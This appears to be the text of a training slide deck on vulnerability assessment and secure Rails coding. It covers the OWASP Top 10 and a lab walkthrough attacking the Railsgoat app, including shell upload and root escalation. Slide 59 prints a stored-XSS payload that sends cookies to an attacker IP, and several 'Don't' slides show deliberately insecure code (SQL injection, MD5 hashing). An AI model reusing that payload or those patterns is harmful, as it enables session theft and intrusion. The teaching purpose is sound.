Slide 1

Slide 1 text

Vulnerability assessment and secure coding in Web Applications

Slide 2

Slide 2 text

self.inspect • 15+ years in application security • Lead a purple team • Blogger @ https://codiceinsicuro.it • Social as @thesp0nge • Husband, Dad and Taekwon-Do ITF athlete and trainer • Send comments or questions to [email protected]

Slide 3

Slide 3 text

Agenda • The Red side • What’s a vulnerability? • Testing 172.16.202.241 • The Blue side • What’s safe coding? • The Owasp Top 10 2017 • Testing Railsgoat • Bonus track

Slide 4

Slide 4 text

The Red side

Slide 5

Slide 5 text

Words are important

Slide 6

Slide 6 text

cyber |ˈsʌɪbə| adjective relating to or characteristic of the culture of computers, information technology, and virtual reality: the cyber age. security |sɪˈkjʊərɪti, sɪˈkjɔːrɪti| noun (plural securities) 1 [mass noun] the state of being free from danger or threat: the system is designed to provide maximum security against toxic spills | job security.

Slide 7

Slide 7 text

assess |əˈsɛs| verb [with object] evaluate or estimate the nature, ability, or quality of: the committee must assess the relative importance of the issues | [with clause] : it is difficult to assess whether this is a new trend. assessment |əˈsɛsmənt| noun [mass noun] the action of assessing someone or something: the assessment of educational needs | assessments of market value.

Slide 8

Slide 8 text

vulnerability |vʌln(ə)rəˈbɪlɪti| noun (plural vulnerabilities) [mass noun] the quality or state of being exposed to the possibility of being attacked or harmed, either physically or emotionally: conservation authorities have realized the vulnerability of the local population | he is confined in isolation because of his vulnerability to infection | [count noun] : con artists are great at spotting our vulnerabilities.

Slide 9

Slide 9 text

Putting all together A vulnerability assessment is the action of evaluating or estimating a system for the quality or state of being exposed to the possibility of being attacked or harmed

Slide 10

Slide 10 text

The goal • A vulnerability assessment is something magic (in term of execution) with some defined rules: • A system has vulnerabilities • Those vulnerabilities can be (sometime) exploited

Slide 11

Slide 11 text

Vulnerability Assessment workflow • During a vulnerability assessment we • Understand the nature of our target • Recognise running services • Enumerate vulnerabilities for those services • Exploit them • Celebrate

Slide 12

Slide 12 text

Your skillset • Curious • Lateral thinker • Precise • Fast learner • Attitude to code

Slide 13

Slide 13 text

TARGET = 172.16.202.241 Let’s start by taking notes

Slide 14

Slide 14 text

Reconnaissance • Gather baseline informations • Fingerprint running services

Slide 15

Slide 15 text

Enumerate • Enumerate vulnerabilities for those services

Slide 16

Slide 16 text

Enumerate • Assess web server configuration • Look for interesting folders in web sites • Look for interesting folders in target application

Slide 17

Slide 17 text

No content

Slide 18

Slide 18 text

Enumerate • Look for open shares • ( unfortunately none here :-( )

Slide 19

Slide 19 text

Exploit • Look for local root exploits • Please wait until we get a non privileged shell… :-)

Slide 20

Slide 20 text

The Blue side

Slide 21

Slide 21 text

What’s safe code? • Coding is an art • Safe coding is the art of creating working code in a secure way • Safe coding means also create a secure environment for the running program • Choosing right technologies • Hardening configuration

Slide 22

Slide 22 text

Your skillset • Curious • Lateral thinker • Precise • Fast learner • Attitude to code • Good listener • Patient • Attitude to talk and teach

Slide 23

Slide 23 text

The OWASP Top 10 - 2017

Slide 24

Slide 24 text

A1 - Injection • Segregation between commands and queries • Use Object Relational Mapping API to access data in a parameterised way • Use positive or "whitelist" server-side input validation. • Escape special characters (‘, &, -, ;)


Slide 25

Slide 25 text

Don’t def update message = false user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'") user.skip_user_id_assign = true user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" }) pass = params[:user][:password] user.password = pass if !(pass.blank?) message = true if user.save! respond_to do |format| format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) } format.json { render :json => {:msg => message ? "success" : "false "} } end end

Slide 26

Slide 26 text

Do def update message = false user = current_user user.skip_user_id_assign = true user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" }) pass = params[:user][:password] user.password = pass if !(pass.blank?) message = true if user.save! respond_to do |format| format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) } format.json { render :json => {:msg => message ? "success" : "false "} } end end

Slide 27

Slide 27 text

A2 - Broken Authentication • Multi factor authentication • Not use default credentials • Implement checks against weak passwords • Harden API against enumeration • Limit logins attempt & use account lockout mechanisms • Generate a secure session ID server side

Slide 28

Slide 28 text

A3 - Sensitive Data Exposure • Classify your data against local rules ( PCI, SOX, GDPR ) • Encrypt all sensitive data at rest • Protect communication channel with TLS • Disable caching sensitive data • Store passwords using strong adaptive and salted hashing functions

Slide 29

Slide 29 text

Don’t before_save :hash_password def self.authenticate(email, password) auth = nil user = find_by_email(email) if user if user.password == Digest::MD5.hexdigest(password) auth = user else raise "Incorrect Password!" end else raise "#{email} doesn't exist!" end return auth end def hash_password if self.password.present? self.password = Digest::MD5.hexdigest(password) end end

Slide 30

Slide 30 text

Do def self.authenticate(email, password) user = find_by_email(email) if user and user.password_hash == BCrypt::Engine.hash_secret(password, user.password_salt) user else "Invalid Credentials Supplied" end end def hash_password if self.password.present? self.password_salt = BCrypt::Engine.generate_salt self.password_hash = BCrypt::Engine.hash_secret(self.password, self.password_salt) end end

Slide 31

Slide 31 text

A4 - XML External Entities (XXE) • Use less complex data formats (JSON) • Avoid serialise sensitive data • Disable XML entity and DTD processing • Implement positive ("whitelisting") server-side input validation, filtering, or sanitization

Slide 32

Slide 32 text

A5 - Broken Access Control • Only public resources must be granted. Deny by default • Implement access control mechanisms • Disable directory listing • Implement logging for unauthorised resources • Implement rate limit for API

Slide 33

Slide 33 text

Don’t class AdminController < ApplicationController before_filter :administrative, :if => :admin_param ... def admin_param params[:id] == '1' end

Slide 34

Slide 34 text

Do class AdminController < ApplicationController before_filter :administrative

Slide 35

Slide 35 text

A6 - Security Misconfiguration • Implement hardening procedures • Remove unnecessary tools and frameworks (libraries, daemons, compilers, …) • Review system configurations (e.g. with lynis)

Slide 36

Slide 36 text

A7 - Cross-Site Scripting (XSS) • Use frameworks that automatically escape XSS • Don’t trust user inputs. Validate them, using encoding and whitelist approach

Slide 37

Slide 37 text

A8 - Insecure Deserialization • Enforce security controls when receiving a serialised object • Running the code managing serialised object with as lower privileges as you can • Log and monitor the code managing serialisation, in particular for incoming and outgoing connections

Slide 38

Slide 38 text

A9 - Using Components with Known Vulnerabilities • Remove any unnecessary library or dependency • Create and maintain an asset inventory for all technologies used in your application and follow their security life • Run security assessment tool for third party libraries and mitigate all security issues

Slide 39

Slide 39 text

A10 - Insufficient Logging & Monitoring • Avoid logging sensitive information on files • Centralise your logs on a SIEM solution (e.g. splunk) • Protect logs against tampering

Slide 40

Slide 40 text

Railsgoat Testing the web application

Slide 41

Slide 41 text

Knockin’on a broken door • Target web application is vulnerable to user enumeration • Detailed error messages can lead an attacker to understand between non existent user and wrong password

Slide 42

Slide 42 text

Knockin’on a broken door • Simple python script is able to give me valid credentials for web interface • We can use cewl tool to create a wordlist specific for the website • As we can see password is trivial to guess so no strict password policy is in place

Slide 43

Slide 43 text

No content

Slide 44

Slide 44 text

def create begin user = User.authenticate(params[:email], params[:password]) rescue Exception => e end if user session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? redirect_to home_dashboard_index_path else flash[:error] = "Either your username and password is incorrect" #e.message render "new" end end

Slide 45

Slide 45 text

Getting a shell • Web application has the capability of uploading a file • No controls on the type of file we upload • Attempt is made to upload a PHP script spawning a shell • Eventually the attempt succeeded

Slide 46

Slide 46 text

No content

Slide 47

Slide 47 text

Getting a root shell • We are regular users on Ubuntu 10.04 • We look for exploits • We transfer exploit on target using HTTP • We compile the exploit • Root dance

Slide 48

Slide 48 text

No content

Slide 49

Slide 49 text

No content

Slide 50

Slide 50 text

def self.make_backup(file, data_path, full_file_name) accepted_formats = [".txt", ".pdf"] return false unless accepted_formats.include? File.extname(full_file_name) FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.now.to_i} _#{file.original_filename}" end

Slide 51

Slide 51 text

Access arbitrary info • On the Work Info section, the user identifier in the URL is used to retrieve information • Anyone can tamper the URL retrieving information about other users • Metacorp is more generous with Jack rather then Jim… Jim is not happy about that

Slide 52

Slide 52 text

No content

Slide 53

Slide 53 text

def index @user = current_user if !(@user) || @user.admin flash[:error] = "Apologies, looks like something went wrong" redirect_to home_dashboard_index_path end end

Slide 54

Slide 54 text

Access Admin panel • To access admin panel, the user id is retrieved from URL • Tampering the URL, it is possible to go into administrative portal to manage users

Slide 55

Slide 55 text

No content

Slide 56

Slide 56 text

class AdminController < ApplicationController before_filter :administrative …

Slide 57

Slide 57 text

Executing code client side • Users can register on the target application • Target application doesn’t validate user first name • It is possible to store javascript on the database • The javascript is executed when rendering user’s page

Slide 58

Slide 58 text

Since it is stored, even admin execute that code

Slide 59

Slide 59 text

img=new Image();img.src=“http://172.16.202.250/cookie.txt? c="+document.cookie; No session cookie… let’s try another way

Slide 60

Slide 60 text

No content

Slide 61

Slide 61 text

<% @users.each do |u|%> <%= u.first_name %> <%= "#{u.last_name}"%> # removed .html_safe in app/views/layouts/admin/_get_all_users.html.erb
  • Welcome, <%= current_user.first_name %>
  • # removed .html_safe in app/views/layouts/shared/_header.html.erb

    Slide 62

    Slide 62 text

    Some static analysis

    Slide 63

    Slide 63 text

    No content

    Slide 64

    Slide 64 text

    No content

    Slide 65

    Slide 65 text

    No content

    Slide 66

    Slide 66 text

    Bonus Track

    Slide 67

    Slide 67 text

    Changing the paradigma • From a ‘devops’ world into a ‘secdevops’ world • Agile teams • Everyone committed to bring the code into production • Adding the ‘sec’ part means ton of stuff

    Slide 68

    Slide 68 text

    Sec Dev Ops • Bring security the agile way • Continuous security tests • Continuous mitigation • Continuous vulnerability management

    Slide 69

    Slide 69 text

    How to achieve Sec Dev Ops? • Create awareness programs • Write secure coding guidelines • Automate security tests into development pipeline

    Slide 70

    Slide 70 text

    Some links • To practice in break • https://www.vulnhub.com/ • https://www.hackthebox.eu/ • https://pentesterlab.com/exercises/ • https://medium.com/@a.hilton83/oscp-training-vms-hosted-on-vulnhub-com-22fa061bf6a1 • To pipeline automation • https://codiceinsicuro.it/chicchi/automatizzare-owasp-zap-in-mac-os-x/ • https://www.aspectsecurity.com/blog/secure-devops-with-an-application-security-pipeline • https://www.appsecpipeline.org/ • To read: https://codiceinsicuro.it

    Slide 71

    Slide 71 text

    Q&A

    Slide 72

    Slide 72 text

    Thanks! Or eventually the slide that never comes